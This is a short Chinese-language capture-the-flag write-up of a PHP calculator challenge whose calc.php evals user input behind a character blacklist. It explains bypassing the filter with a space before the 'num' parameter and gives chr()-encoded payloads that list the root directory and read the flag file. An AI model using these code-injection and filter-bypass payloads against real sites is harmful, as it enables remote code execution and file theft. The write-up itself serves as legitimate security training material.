img1.png
查看源码,发现有提示

<script>
  $('#calc').submit(function(){
  $.ajax({
    url:"calc.php?num="+encodeURIComponent($("#content").val()),
    type:'GET',
    success:function(data){
      $("#result").html(`<div class="alert alert-success">
      <strong>答案:</strong>${data}
      </div>`);
    },
    error:function(){
      alert("这啥?算不来!");
    }
  })
  return false;
})
</script>

有个calc.php,访问看下

<?php
  error_reporting(0);
if(!isset($_GET['num'])){
  show_source(__FILE__);
}else{
  $str = $_GET['num'];
  $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
  foreach ($blacklist as $blackitem) {
    if (preg_match('/' . $blackitem . '/m', $str)) {
      die("what are you want to do?");
    }
  }
  eval('echo '.$str.';');
}
?> 

当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析
而这里黑名单过滤,没有过滤这种情况,那么久可以构造一个查询语句了
? num=1;var_dump(scandir(chr(47)))
scandir(/)可以查看目录,用chr()来绕过waf,注意在calc.php页面提交
img2.png
打开这个文件:? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
img3.png